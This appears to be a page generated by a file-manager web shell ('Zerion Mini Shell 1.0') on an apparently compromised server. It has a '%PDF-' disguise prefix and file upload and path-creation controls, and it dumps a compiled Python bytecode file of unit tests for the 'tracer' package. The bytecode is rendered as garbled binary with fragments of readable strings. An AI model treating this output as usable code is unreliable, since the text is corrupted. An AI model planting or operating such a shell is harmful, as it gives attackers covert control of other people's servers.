%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/tracer/tests/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/tracer/tests/__pycache__/test_applications.cpython-39.opt-1.pyc

a

"e��@s�ddlTddlmZddlmZmZddlmZmZzddl	m
Z
mZdZWn ddl
m
Z
mZdZYn0Gd	d
�d
ej�Zedkr�e��dS)
�)�*�)�DATA_DIR)�Applications�Application)�ApplicationsCollection�ProcessesCollection)�patch�	mock_openz
builtins.openz__builtin__.openc@s�eZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	e
d
dd�dd��Zdd�Zdd�Z
dd�Zdd�Ze
ddd�dd��Zdd�Zd S)!�TestApplicationscCsdd�tjD�|_dS)NcSsg|]}|�t�r|�qS�)�
startswithr��.0�xrr�B/usr/lib/python3.9/site-packages/tracer/tests/test_applications.py�
<listcomp>s
�z/TestApplications.setUpClass.<locals>.<listcomp>)r�DEFINITIONS)�clsrrr�
setUpClassszTestApplications.setUpClasscCs|jt_dt_dS�N)rrZ_apps��selfrrr�setUpszTestApplications.setUpcCs|�t��t�dSr)�assertIsInstancer�allrrrrr�test_apps_typessz TestApplications.test_apps_typescCst��d}|�|jt�dS)Nr)rrrZ	instancesr)r�applicationrrr�test_application_processessz+TestApplications.test_application_processescCs�d}t��D]�}d|vs$t|�dkr6|�dt|��d|vr^|jtj��vr^|�d|j�d|vrjdnd}|�t|�|d	�	|j
��|d7}qdS)
Nr�namezMissing name in definition #�typezUnknown type in application: �rename���)Application {0} has unsupported attribute)rr�len�fail�strr ZTYPES�values�assertEqual�formatr)r�i�a�nrrr�test_apps_attributes sz%TestApplications.test_apps_attributescCs8t��}|D]&}|�|j|�dkr|�d|j�qdS)NrzDuplicate definitions for: )rr�_countrr&)r�appsr,rrr�test_apps_duplicity.sz$TestApplications.test_apps_duplicityz0tracer.resources.applications.System.init_systemZdummy)Zreturn_valuecCsfd}t�|�}|�|j|�|�|jtj�|�|jd�|�|jd�|�t|�dd�	|j��dS)NZNON_EXISTING_APPLICATIONr#r$)
r�findr)rr ZDEFAULT_TYPE�helperZnoter%r*)rZinit_system�app_nameZapprrr�test_app_with_no_definition4s
z,TestApplications.test_app_with_no_definitioncCs0tddi�}|�t|�d�|�t|�d�dS)Nr�fooz<Application: foo>)rr)r'�repr)rZrulerrr�test_representations>sz%TestApplications.test_representationscCs<tdddd��}tdddd��}|�|j�|�|j�dS)Nr6�applicaiton�some helper�rr r3rz some helper with {NAME} argument)r�assertFalse�helper_contains_name�
assertTrue)r�a1Za2rrr�test_contains_nameCsz#TestApplications.test_contains_namecCs<tdddd��}tdddd��}|�|j�|�|j�dS)Nr6r9r:r;rzsome helper with {FOO} argument)rr<�helper_contains_formatingr>)rr?�a3rrr�test_contains_formatingIsz(TestApplications.test_contains_formatingcCs,tdddd��}|�|j�|�|j�dS)Nr6r9r;)rr<rAr=)rr?rrr�test_helper_contains_when_noneOsz/TestApplications.test_helper_contains_when_nonez*tracer.resources.system.System.init_systemZsystemdcCs�dgt_d}ttt|d����t��}|�t|�d�|�tdd�|D���|�|dj	d�|�|dj
�d	��|�|d
jd�|�
d|d
j
�Wd
�n1s�0Yd
S)z6
		Test parsing a single XML file with applications
		zwhatever-file.xmlz�<applications>    <app name='foo' type='daemon' />    <group type='session'>        <app name='bar' />        <app name='baz' helper='Or kill it and see what happens' />    </group></applications>)Z	read_data�cSsg|]}t|t��qSr)�
isinstancerrrrrrf�z.TestApplications.test_load.<locals>.<listcomp>rr6zsystemctl restart foo�Zsessionzkill itN)rrr	�
builtins_openr
rr)r%r>rr3�endswithr ZassertIn)rZ_init_system�datar0rrr�	test_loadTs�	zTestApplications.test_loadcCs$d}|D]}|j|kr|d7}q|S)Nrr)r)rr4r0�countr,rrrr/ls


zTestApplications._countN)�__name__�
__module__�__qualname__�classmethodrrrrr.r1r	r5r8r@rCrDrLr/rrrrrs 


	

r�__main__N)Z__meta__Ztracer.pathsrZtracer.resources.applicationsrrZtracer.resources.collectionsrrZ
unittest.mockr	r
rIZmockZunittestZTestCaserrN�mainrrrr�<module>s
f

Zerion Mini Shell 1.0